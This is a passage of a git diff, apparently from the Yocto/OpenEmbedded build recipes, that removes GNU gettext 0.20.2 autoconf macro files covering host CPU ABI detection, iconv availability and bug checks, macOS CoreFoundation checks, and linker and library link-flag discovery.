- # CPUs that only support a 32-bit ABI.
- arc \
- | bfin \
- | cris* \
- | csky \
- | epiphany \
- | ft32 \
- | h8300 \
- | m68k \
- | microblaze | microblazeel \
- | nds32 | nds32le | nds32be \
- | nios2 | nios2eb | nios2el \
- | or1k* \
- | or32 \
- | sh | sh[1234] | sh[1234]e[lb] \
- | tic6x \
- | xtensa* )
- gl_cv_host_cpu_c_abi_32bit=yes
- ;;
-
- # CPUs that only support a 64-bit ABI.
-changequote(,)dnl
- alpha | alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] \
- | mmix )
-changequote([,])dnl
- gl_cv_host_cpu_c_abi_32bit=no
- ;;
-
-changequote(,)dnl
- i[34567]86 )
-changequote([,])dnl
- gl_cv_host_cpu_c_abi_32bit=yes
- ;;
-
- x86_64 )
- # On x86_64 systems, the C compiler may be generating code in one of
- # these ABIs:
- # - 64-bit instruction set, 64-bit pointers, 64-bit 'long': x86_64.
- # - 64-bit instruction set, 64-bit pointers, 32-bit 'long': x86_64
- # with native Windows (mingw, MSVC).
- # - 64-bit instruction set, 32-bit pointers, 32-bit 'long': x86_64-x32.
- # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': i386.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if (defined __x86_64__ || defined __amd64__ \
- || defined _M_X64 || defined _M_AMD64) \
- && !(defined __ILP32__ || defined _ILP32)
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=no],
- [gl_cv_host_cpu_c_abi_32bit=yes])
- ;;
-
- arm* | aarch64 )
- # Assume arm with EABI.
- # On arm64 systems, the C compiler may be generating code in one of
- # these ABIs:
- # - aarch64 instruction set, 64-bit pointers, 64-bit 'long': arm64.
- # - aarch64 instruction set, 32-bit pointers, 32-bit 'long': arm64-ilp32.
- # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': arm or armhf.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __aarch64__ && !(defined __ILP32__ || defined _ILP32)
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=no],
- [gl_cv_host_cpu_c_abi_32bit=yes])
- ;;
-
- hppa1.0 | hppa1.1 | hppa2.0* | hppa64 )
- # On hppa, the C compiler may be generating 32-bit code or 64-bit
- # code. In the latter case, it defines _LP64 and __LP64__.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#ifdef __LP64__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=no],
- [gl_cv_host_cpu_c_abi_32bit=yes])
- ;;
-
- ia64* )
- # On ia64 on HP-UX, the C compiler may be generating 64-bit code or
- # 32-bit code. In the latter case, it defines _ILP32.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#ifdef _ILP32
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=yes],
- [gl_cv_host_cpu_c_abi_32bit=no])
- ;;
-
- mips* )
- # We should also check for (_MIPS_SZPTR == 64), but gcc keeps this
- # at 32.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined _MIPS_SZLONG && (_MIPS_SZLONG == 64)
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=no],
- [gl_cv_host_cpu_c_abi_32bit=yes])
- ;;
-
- powerpc* )
- # Different ABIs are in use on AIX vs. Mac OS X vs. Linux,*BSD.
- # No need to distinguish them here; the caller may distinguish
- # them based on the OS.
- # On powerpc64 systems, the C compiler may still be generating
- # 32-bit code. And on powerpc-ibm-aix systems, the C compiler may
- # be generating 64-bit code.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __powerpc64__ || defined _ARCH_PPC64
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=no],
- [gl_cv_host_cpu_c_abi_32bit=yes])
- ;;
-
- rs6000 )
- gl_cv_host_cpu_c_abi_32bit=yes
- ;;
-
- riscv32 | riscv64 )
- # There are 6 ABIs: ilp32, ilp32f, ilp32d, lp64, lp64f, lp64d.
- # Size of 'long' and 'void *':
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __LP64__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=no],
- [gl_cv_host_cpu_c_abi_32bit=yes])
- ;;
-
- s390* )
- # On s390x, the C compiler may be generating 64-bit (= s390x) code
- # or 31-bit (= s390) code.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __LP64__ || defined __s390x__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=no],
- [gl_cv_host_cpu_c_abi_32bit=yes])
- ;;
-
- sparc | sparc64 )
- # UltraSPARCs running Linux have `uname -m` = "sparc64", but the
- # C compiler still generates 32-bit code.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __sparcv9 || defined __arch64__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi_32bit=no],
- [gl_cv_host_cpu_c_abi_32bit=yes])
- ;;
-
- *)
- gl_cv_host_cpu_c_abi_32bit=unknown
- ;;
- esac
- fi
- ])
-
- HOST_CPU_C_ABI_32BIT="$gl_cv_host_cpu_c_abi_32bit"
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/iconv.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/iconv.m4
deleted file mode 100644
index e593b7270a..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/iconv.m4
+++ /dev/null
@@ -1,288 +0,0 @@
-# iconv.m4 serial 21
-dnl Copyright (C) 2000-2002, 2007-2014, 2016-2020 Free Software Foundation,
-dnl Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-
-dnl From Bruno Haible.
-
-AC_DEFUN([AM_ICONV_LINKFLAGS_BODY],
-[
- dnl Prerequisites of AC_LIB_LINKFLAGS_BODY.
- AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
- AC_REQUIRE([AC_LIB_RPATH])
-
- dnl Search for libiconv and define LIBICONV, LTLIBICONV and INCICONV
- dnl accordingly.
- AC_LIB_LINKFLAGS_BODY([iconv])
-])
-
-AC_DEFUN([AM_ICONV_LINK],
-[
- dnl Some systems have iconv in libc, some have it in libiconv (OSF/1 and
- dnl those with the standalone portable GNU libiconv installed).
- AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles
-
- dnl Search for libiconv and define LIBICONV, LTLIBICONV and INCICONV
- dnl accordingly.
- AC_REQUIRE([AM_ICONV_LINKFLAGS_BODY])
-
- dnl Add $INCICONV to CPPFLAGS before performing the following checks,
- dnl because if the user has installed libiconv and not disabled its use
- dnl via --without-libiconv-prefix, he wants to use it. The first
- dnl AC_LINK_IFELSE will then fail, the second AC_LINK_IFELSE will succeed.
- am_save_CPPFLAGS="$CPPFLAGS"
- AC_LIB_APPENDTOVAR([CPPFLAGS], [$INCICONV])
-
- AC_CACHE_CHECK([for iconv], [am_cv_func_iconv], [
- am_cv_func_iconv="no, consider installing GNU libiconv"
- am_cv_lib_iconv=no
- AC_LINK_IFELSE(
- [AC_LANG_PROGRAM(
- [[
-#include <stdlib.h>
-#include <iconv.h>
- ]],
- [[iconv_t cd = iconv_open("","");
- iconv(cd,NULL,NULL,NULL,NULL);
- iconv_close(cd);]])],
- [am_cv_func_iconv=yes])
- if test "$am_cv_func_iconv" != yes; then
- am_save_LIBS="$LIBS"
- LIBS="$LIBS $LIBICONV"
- AC_LINK_IFELSE(
- [AC_LANG_PROGRAM(
- [[
-#include <stdlib.h>
-#include <iconv.h>
- ]],
- [[iconv_t cd = iconv_open("","");
- iconv(cd,NULL,NULL,NULL,NULL);
- iconv_close(cd);]])],
- [am_cv_lib_iconv=yes]
- [am_cv_func_iconv=yes])
- LIBS="$am_save_LIBS"
- fi
- ])
- if test "$am_cv_func_iconv" = yes; then
- AC_CACHE_CHECK([for working iconv], [am_cv_func_iconv_works], [
- dnl This tests against bugs in AIX 5.1, AIX 6.1..7.1, HP-UX 11.11,
- dnl Solaris 10.
- am_save_LIBS="$LIBS"
- if test $am_cv_lib_iconv = yes; then
- LIBS="$LIBS $LIBICONV"
- fi
- am_cv_func_iconv_works=no
- for ac_iconv_const in '' 'const'; do
- AC_RUN_IFELSE(
- [AC_LANG_PROGRAM(
- [[
-#include <iconv.h>
-#include <string.h>
-
-#ifndef ICONV_CONST
-# define ICONV_CONST $ac_iconv_const
-#endif
- ]],
- [[int result = 0;
- /* Test against AIX 5.1 bug: Failures are not distinguishable from successful
- returns. */
- {
- iconv_t cd_utf8_to_88591 = iconv_open ("ISO8859-1", "UTF-8");
- if (cd_utf8_to_88591 != (iconv_t)(-1))
- {
- static ICONV_CONST char input[] = "\342\202\254"; /* EURO SIGN */
- char buf[10];
- ICONV_CONST char *inptr = input;
- size_t inbytesleft = strlen (input);
- char *outptr = buf;
- size_t outbytesleft = sizeof (buf);
- size_t res = iconv (cd_utf8_to_88591,
- &inptr, &inbytesleft,
- &outptr, &outbytesleft);
- if (res == 0)
- result |= 1;
- iconv_close (cd_utf8_to_88591);
- }
- }
- /* Test against Solaris 10 bug: Failures are not distinguishable from
- successful returns. */
- {
- iconv_t cd_ascii_to_88591 = iconv_open ("ISO8859-1", "646");
- if (cd_ascii_to_88591 != (iconv_t)(-1))
- {
- static ICONV_CONST char input[] = "\263";
- char buf[10];
- ICONV_CONST char *inptr = input;
- size_t inbytesleft = strlen (input);
- char *outptr = buf;
- size_t outbytesleft = sizeof (buf);
- size_t res = iconv (cd_ascii_to_88591,
- &inptr, &inbytesleft,
- &outptr, &outbytesleft);
- if (res == 0)
- result |= 2;
- iconv_close (cd_ascii_to_88591);
- }
- }
- /* Test against AIX 6.1..7.1 bug: Buffer overrun. */
- {
- iconv_t cd_88591_to_utf8 = iconv_open ("UTF-8", "ISO-8859-1");
- if (cd_88591_to_utf8 != (iconv_t)(-1))
- {
- static ICONV_CONST char input[] = "\304";
- static char buf[2] = { (char)0xDE, (char)0xAD };
- ICONV_CONST char *inptr = input;
- size_t inbytesleft = 1;
- char *outptr = buf;
- size_t outbytesleft = 1;
- size_t res = iconv (cd_88591_to_utf8,
- &inptr, &inbytesleft,
- &outptr, &outbytesleft);
- if (res != (size_t)(-1) || outptr - buf > 1 || buf[1] != (char)0xAD)
- result |= 4;
- iconv_close (cd_88591_to_utf8);
- }
- }
-#if 0 /* This bug could be worked around by the caller. */
- /* Test against HP-UX 11.11 bug: Positive return value instead of 0. */
- {
- iconv_t cd_88591_to_utf8 = iconv_open ("utf8", "iso88591");
- if (cd_88591_to_utf8 != (iconv_t)(-1))
- {
- static ICONV_CONST char input[] = "\304rger mit b\366sen B\374bchen ohne Augenma\337";
- char buf[50];
- ICONV_CONST char *inptr = input;
- size_t inbytesleft = strlen (input);
- char *outptr = buf;
- size_t outbytesleft = sizeof (buf);
- size_t res = iconv (cd_88591_to_utf8,
- &inptr, &inbytesleft,
- &outptr, &outbytesleft);
- if ((int)res > 0)
- result |= 8;
- iconv_close (cd_88591_to_utf8);
- }
- }
-#endif
- /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
- provided. */
- {
- /* Try standardized names. */
- iconv_t cd1 = iconv_open ("UTF-8", "EUC-JP");
- /* Try IRIX, OSF/1 names. */
- iconv_t cd2 = iconv_open ("UTF-8", "eucJP");
- /* Try AIX names. */
- iconv_t cd3 = iconv_open ("UTF-8", "IBM-eucJP");
- /* Try HP-UX names. */
- iconv_t cd4 = iconv_open ("utf8", "eucJP");
- if (cd1 == (iconv_t)(-1) && cd2 == (iconv_t)(-1)
- && cd3 == (iconv_t)(-1) && cd4 == (iconv_t)(-1))
- result |= 16;
- if (cd1 != (iconv_t)(-1))
- iconv_close (cd1);
- if (cd2 != (iconv_t)(-1))
- iconv_close (cd2);
- if (cd3 != (iconv_t)(-1))
- iconv_close (cd3);
- if (cd4 != (iconv_t)(-1))
- iconv_close (cd4);
- }
- return result;
-]])],
- [am_cv_func_iconv_works=yes], ,
- [case "$host_os" in
- aix* | hpux*) am_cv_func_iconv_works="guessing no" ;;
- *) am_cv_func_iconv_works="guessing yes" ;;
- esac])
- test "$am_cv_func_iconv_works" = no || break
- done
- LIBS="$am_save_LIBS"
- ])
- case "$am_cv_func_iconv_works" in
- *no) am_func_iconv=no am_cv_lib_iconv=no ;;
- *) am_func_iconv=yes ;;
- esac
- else
- am_func_iconv=no am_cv_lib_iconv=no
- fi
- if test "$am_func_iconv" = yes; then
- AC_DEFINE([HAVE_ICONV], [1],
- [Define if you have the iconv() function and it works.])
- fi
- if test "$am_cv_lib_iconv" = yes; then
- AC_MSG_CHECKING([how to link with libiconv])
- AC_MSG_RESULT([$LIBICONV])
- else
- dnl If $LIBICONV didn't lead to a usable library, we don't need $INCICONV
- dnl either.
- CPPFLAGS="$am_save_CPPFLAGS"
- LIBICONV=
- LTLIBICONV=
- fi
- AC_SUBST([LIBICONV])
- AC_SUBST([LTLIBICONV])
-])
-
-dnl Define AM_ICONV using AC_DEFUN_ONCE for Autoconf >= 2.64, in order to
-dnl avoid warnings like
-dnl "warning: AC_REQUIRE: `AM_ICONV' was expanded before it was required".
-dnl This is tricky because of the way 'aclocal' is implemented:
-dnl - It requires defining an auxiliary macro whose name ends in AC_DEFUN.
-dnl Otherwise aclocal's initial scan pass would miss the macro definition.
-dnl - It requires a line break inside the AC_DEFUN_ONCE and AC_DEFUN expansions.
-dnl Otherwise aclocal would emit many "Use of uninitialized value $1"
-dnl warnings.
-m4_define([gl_iconv_AC_DEFUN],
- m4_version_prereq([2.64],
- [[AC_DEFUN_ONCE(
- [$1], [$2])]],
- [m4_ifdef([gl_00GNULIB],
- [[AC_DEFUN_ONCE(
- [$1], [$2])]],
- [[AC_DEFUN(
- [$1], [$2])]])]))
-gl_iconv_AC_DEFUN([AM_ICONV],
-[
- AM_ICONV_LINK
- if test "$am_cv_func_iconv" = yes; then
- AC_MSG_CHECKING([for iconv declaration])
- AC_CACHE_VAL([am_cv_proto_iconv], [
- AC_COMPILE_IFELSE(
- [AC_LANG_PROGRAM(
- [[
-#include <stdlib.h>
-#include <iconv.h>
-extern
-#ifdef __cplusplus
-"C"
-#endif
-#if defined(__STDC__) || defined(_MSC_VER) || defined(__cplusplus)
-size_t iconv (iconv_t cd, char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);
-#else
-size_t iconv();
-#endif
- ]],
- [[]])],
- [am_cv_proto_iconv_arg1=""],
- [am_cv_proto_iconv_arg1="const"])
- am_cv_proto_iconv="extern size_t iconv (iconv_t cd, $am_cv_proto_iconv_arg1 char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft);"])
- am_cv_proto_iconv=`echo "[$]am_cv_proto_iconv" | tr -s ' ' | sed -e 's/( /(/'`
- AC_MSG_RESULT([
- $am_cv_proto_iconv])
- else
- dnl When compiling GNU libiconv on a system that does not have iconv yet,
- dnl pick the POSIX compliant declaration without 'const'.
- am_cv_proto_iconv_arg1=""
- fi
- AC_DEFINE_UNQUOTED([ICONV_CONST], [$am_cv_proto_iconv_arg1],
- [Define as const if the declaration of iconv() needs const.])
- dnl Also substitute ICONV_CONST in the gnulib generated <iconv.h>.
- m4_ifdef([gl_ICONV_H_DEFAULTS],
- [AC_REQUIRE([gl_ICONV_H_DEFAULTS])
- if test -n "$am_cv_proto_iconv_arg1"; then
- ICONV_CONST="const"
- fi
- ])
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/intlmacosx.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/intlmacosx.m4
deleted file mode 100644
index ebd9937c1a..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/intlmacosx.m4
+++ /dev/null
@@ -1,65 +0,0 @@
-# intlmacosx.m4 serial 8 (gettext-0.20.2)
-dnl Copyright (C) 2004-2014, 2016, 2019-2020 Free Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-dnl
-dnl This file can be used in projects which are not available under
-dnl the GNU General Public License or the GNU Lesser General Public
-dnl License but which still want to provide support for the GNU gettext
-dnl functionality.
-dnl Please note that the actual code of the GNU gettext library is covered
-dnl by the GNU Lesser General Public License, and the rest of the GNU
-dnl gettext package is covered by the GNU General Public License.
-dnl They are *not* in the public domain.
-
-dnl Checks for special options needed on Mac OS X.
-dnl Defines INTL_MACOSX_LIBS.
-AC_DEFUN([gt_INTL_MACOSX],
-[
- dnl Check for API introduced in Mac OS X 10.4.
- AC_CACHE_CHECK([for CFPreferencesCopyAppValue],
- [gt_cv_func_CFPreferencesCopyAppValue],
- [gt_save_LIBS="$LIBS"
- LIBS="$LIBS -Wl,-framework -Wl,CoreFoundation"
- AC_LINK_IFELSE(
- [AC_LANG_PROGRAM(
- [[#include <CoreFoundation/CFPreferences.h>]],
- [[CFPreferencesCopyAppValue(NULL, NULL)]])],
- [gt_cv_func_CFPreferencesCopyAppValue=yes],
- [gt_cv_func_CFPreferencesCopyAppValue=no])
- LIBS="$gt_save_LIBS"])
- if test $gt_cv_func_CFPreferencesCopyAppValue = yes; then
- AC_DEFINE([HAVE_CFPREFERENCESCOPYAPPVALUE], [1],
- [Define to 1 if you have the Mac OS X function CFPreferencesCopyAppValue in the CoreFoundation framework.])
- fi
- dnl Don't check for the API introduced in Mac OS X 10.5, CFLocaleCopyCurrent,
- dnl because in macOS 10.13.4 it has the following behaviour:
- dnl When two or more languages are specified in the
- dnl "System Preferences > Language & Region > Preferred Languages" panel,
- dnl it returns en_CC where CC is the territory (even when English is not among
- dnl the preferred languages!). What we want instead is what
- dnl CFLocaleCopyCurrent returned in earlier macOS releases and what
- dnl CFPreferencesCopyAppValue still returns, namely ll_CC where ll is the
- dnl first among the preferred languages and CC is the territory.
- AC_CACHE_CHECK([for CFLocaleCopyPreferredLanguages], [gt_cv_func_CFLocaleCopyPreferredLanguages],
- [gt_save_LIBS="$LIBS"
- LIBS="$LIBS -Wl,-framework -Wl,CoreFoundation"
- AC_LINK_IFELSE(
- [AC_LANG_PROGRAM(
- [[#include <CoreFoundation/CFLocale.h>]],
- [[CFLocaleCopyPreferredLanguages();]])],
- [gt_cv_func_CFLocaleCopyPreferredLanguages=yes],
- [gt_cv_func_CFLocaleCopyPreferredLanguages=no])
- LIBS="$gt_save_LIBS"])
- if test $gt_cv_func_CFLocaleCopyPreferredLanguages = yes; then
- AC_DEFINE([HAVE_CFLOCALECOPYPREFERREDLANGUAGES], [1],
- [Define to 1 if you have the Mac OS X function CFLocaleCopyPreferredLanguages in the CoreFoundation framework.])
- fi
- INTL_MACOSX_LIBS=
- if test $gt_cv_func_CFPreferencesCopyAppValue = yes \
- || test $gt_cv_func_CFLocaleCopyPreferredLanguages = yes; then
- INTL_MACOSX_LIBS="-Wl,-framework -Wl,CoreFoundation"
- fi
- AC_SUBST([INTL_MACOSX_LIBS])
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-ld.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-ld.m4
deleted file mode 100644
index 98c348faff..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-ld.m4
+++ /dev/null
@@ -1,168 +0,0 @@
-# lib-ld.m4 serial 9
-dnl Copyright (C) 1996-2003, 2009-2020 Free Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-
-dnl Subroutines of libtool.m4,
-dnl with replacements s/_*LT_PATH/AC_LIB_PROG/ and s/lt_/acl_/ to avoid
-dnl collision with libtool.m4.
-
-dnl From libtool-2.4. Sets the variable with_gnu_ld to yes or no.
-AC_DEFUN([AC_LIB_PROG_LD_GNU],
-[AC_CACHE_CHECK([if the linker ($LD) is GNU ld], [acl_cv_prog_gnu_ld],
-[# I'd rather use --version here, but apparently some GNU lds only accept -v.
-case `$LD -v 2>&1 </dev/null` in
-*GNU* | *'with BFD'*)
- acl_cv_prog_gnu_ld=yes
- ;;
-*)
- acl_cv_prog_gnu_ld=no
- ;;
-esac])
-with_gnu_ld=$acl_cv_prog_gnu_ld
-])
-
-dnl From libtool-2.4. Sets the variable LD.
-AC_DEFUN([AC_LIB_PROG_LD],
-[AC_REQUIRE([AC_PROG_CC])dnl
-AC_REQUIRE([AC_CANONICAL_HOST])dnl
-
-AC_ARG_WITH([gnu-ld],
- [AS_HELP_STRING([--with-gnu-ld],
- [assume the C compiler uses GNU ld [default=no]])],
- [test "$withval" = no || with_gnu_ld=yes],
- [with_gnu_ld=no])dnl
-
-# Prepare PATH_SEPARATOR.
-# The user is always right.
-if test "${PATH_SEPARATOR+set}" != set; then
- # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which
- # contains only /bin. Note that ksh looks also at the FPATH variable,
- # so we have to set that as well for the test.
- PATH_SEPARATOR=:
- (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \
- && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \
- || PATH_SEPARATOR=';'
- }
-fi
-
-if test -n "$LD"; then
- AC_MSG_CHECKING([for ld])
-elif test "$GCC" = yes; then
- AC_MSG_CHECKING([for ld used by $CC])
-elif test "$with_gnu_ld" = yes; then
- AC_MSG_CHECKING([for GNU ld])
-else
- AC_MSG_CHECKING([for non-GNU ld])
-fi
-if test -n "$LD"; then
- # Let the user override the test with a path.
- :
-else
- AC_CACHE_VAL([acl_cv_path_LD],
- [
- acl_cv_path_LD= # Final result of this test
- ac_prog=ld # Program to search in $PATH
- if test "$GCC" = yes; then
- # Check if gcc -print-prog-name=ld gives a path.
- case $host in
- *-*-mingw*)
- # gcc leaves a trailing carriage return which upsets mingw
- acl_output=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- acl_output=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $acl_output in
- # Accept absolute paths.
- [[\\/]]* | ?:[[\\/]]*)
- re_direlt='/[[^/]][[^/]]*/\.\./'
- # Canonicalize the pathname of ld
- acl_output=`echo "$acl_output" | sed 's%\\\\%/%g'`
- while echo "$acl_output" | grep "$re_direlt" > /dev/null 2>&1; do
- acl_output=`echo $acl_output | sed "s%$re_direlt%/%"`
- done
- # Got the pathname. No search in PATH is needed.
- acl_cv_path_LD="$acl_output"
- ac_prog=
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ;;
- *)
- # If it is relative, then search for the first ld in PATH.
- with_gnu_ld=unknown
- ;;
- esac
- fi
- if test -n "$ac_prog"; then
- # Search for $ac_prog in $PATH.
- acl_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
- IFS="$acl_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- acl_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$acl_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$acl_save_ifs"
- fi
- case $host in
- *-*-aix*)
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __powerpc64__ || defined _ARCH_PPC64
- int ok;
- #else
- error fail
- #endif
- ]])],
- [# The compiler produces 64-bit code. Add option '-b64' so that the
- # linker groks 64-bit object files.
- case "$acl_cv_path_LD " in
- *" -b64 "*) ;;
- *) acl_cv_path_LD="$acl_cv_path_LD -b64" ;;
- esac
- ], [])
- ;;
- sparc64-*-netbsd*)
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __sparcv9 || defined __arch64__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [],
- [# The compiler produces 32-bit code. Add option '-m elf32_sparc'
- # so that the linker groks 32-bit object files.
- case "$acl_cv_path_LD " in
- *" -m elf32_sparc "*) ;;
- *) acl_cv_path_LD="$acl_cv_path_LD -m elf32_sparc" ;;
- esac
- ])
- ;;
- esac
- ])
- LD="$acl_cv_path_LD"
-fi
-if test -n "$LD"; then
- AC_MSG_RESULT([$LD])
-else
- AC_MSG_RESULT([no])
- AC_MSG_ERROR([no acceptable ld found in \$PATH])
-fi
-AC_LIB_PROG_LD_GNU
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-link.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-link.m4
deleted file mode 100644
index eecf70ec76..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-link.m4
+++ /dev/null
@@ -1,800 +0,0 @@
-# lib-link.m4 serial 31
-dnl Copyright (C) 2001-2020 Free Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-
-dnl From Bruno Haible.
-
-AC_PREREQ([2.61])
-
-dnl AC_LIB_LINKFLAGS(name [, dependencies]) searches for libname and
-dnl the libraries corresponding to explicit and implicit dependencies.
-dnl Sets and AC_SUBSTs the LIB${NAME} and LTLIB${NAME} variables and
-dnl augments the CPPFLAGS variable.
-dnl Sets and AC_SUBSTs the LIB${NAME}_PREFIX variable to nonempty if libname
-dnl was found in ${LIB${NAME}_PREFIX}/$acl_libdirstem.
-AC_DEFUN([AC_LIB_LINKFLAGS],
-[
- AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
- AC_REQUIRE([AC_LIB_RPATH])
- pushdef([Name],[m4_translit([$1],[./+-], [____])])
- pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-],
- [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
- AC_CACHE_CHECK([how to link with lib[]$1], [ac_cv_lib[]Name[]_libs], [
- AC_LIB_LINKFLAGS_BODY([$1], [$2])
- ac_cv_lib[]Name[]_libs="$LIB[]NAME"
- ac_cv_lib[]Name[]_ltlibs="$LTLIB[]NAME"
- ac_cv_lib[]Name[]_cppflags="$INC[]NAME"
- ac_cv_lib[]Name[]_prefix="$LIB[]NAME[]_PREFIX"
- ])
- LIB[]NAME="$ac_cv_lib[]Name[]_libs"
- LTLIB[]NAME="$ac_cv_lib[]Name[]_ltlibs"
- INC[]NAME="$ac_cv_lib[]Name[]_cppflags"
- LIB[]NAME[]_PREFIX="$ac_cv_lib[]Name[]_prefix"
- AC_LIB_APPENDTOVAR([CPPFLAGS], [$INC]NAME)
- AC_SUBST([LIB]NAME)
- AC_SUBST([LTLIB]NAME)
- AC_SUBST([LIB]NAME[_PREFIX])
- dnl Also set HAVE_LIB[]NAME so that AC_LIB_HAVE_LINKFLAGS can reuse the
- dnl results of this search when this library appears as a dependency.
- HAVE_LIB[]NAME=yes
- popdef([NAME])
- popdef([Name])
-])
-
-dnl AC_LIB_HAVE_LINKFLAGS(name, dependencies, includes, testcode, [missing-message])
-dnl searches for libname and the libraries corresponding to explicit and
-dnl implicit dependencies, together with the specified include files and
-dnl the ability to compile and link the specified testcode. The missing-message
-dnl defaults to 'no' and may contain additional hints for the user.
-dnl If found, it sets and AC_SUBSTs HAVE_LIB${NAME}=yes and the LIB${NAME}
-dnl and LTLIB${NAME} variables and augments the CPPFLAGS variable, and
-dnl #defines HAVE_LIB${NAME} to 1. Otherwise, it sets and AC_SUBSTs
-dnl HAVE_LIB${NAME}=no and LIB${NAME} and LTLIB${NAME} to empty.
-dnl Sets and AC_SUBSTs the LIB${NAME}_PREFIX variable to nonempty if libname
-dnl was found in ${LIB${NAME}_PREFIX}/$acl_libdirstem.
-AC_DEFUN([AC_LIB_HAVE_LINKFLAGS],
-[
- AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
- AC_REQUIRE([AC_LIB_RPATH])
- pushdef([Name],[m4_translit([$1],[./+-], [____])])
- pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-],
- [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])])
-
- dnl Search for lib[]Name and define LIB[]NAME, LTLIB[]NAME and INC[]NAME
- dnl accordingly.
- AC_LIB_LINKFLAGS_BODY([$1], [$2])
-
- dnl Add $INC[]NAME to CPPFLAGS before performing the following checks,
- dnl because if the user has installed lib[]Name and not disabled its use
- dnl via --without-lib[]Name-prefix, he wants to use it.
- ac_save_CPPFLAGS="$CPPFLAGS"
- AC_LIB_APPENDTOVAR([CPPFLAGS], [$INC]NAME)
-
- AC_CACHE_CHECK([for lib[]$1], [ac_cv_lib[]Name], [
- ac_save_LIBS="$LIBS"
- dnl If $LIB[]NAME contains some -l options, add it to the end of LIBS,
- dnl because these -l options might require -L options that are present in
- dnl LIBS. -l options benefit only from the -L options listed before it.
- dnl Otherwise, add it to the front of LIBS, because it may be a static
- dnl library that depends on another static library that is present in LIBS.
- dnl Static libraries benefit only from the static libraries listed after
- dnl it.
- case " $LIB[]NAME" in
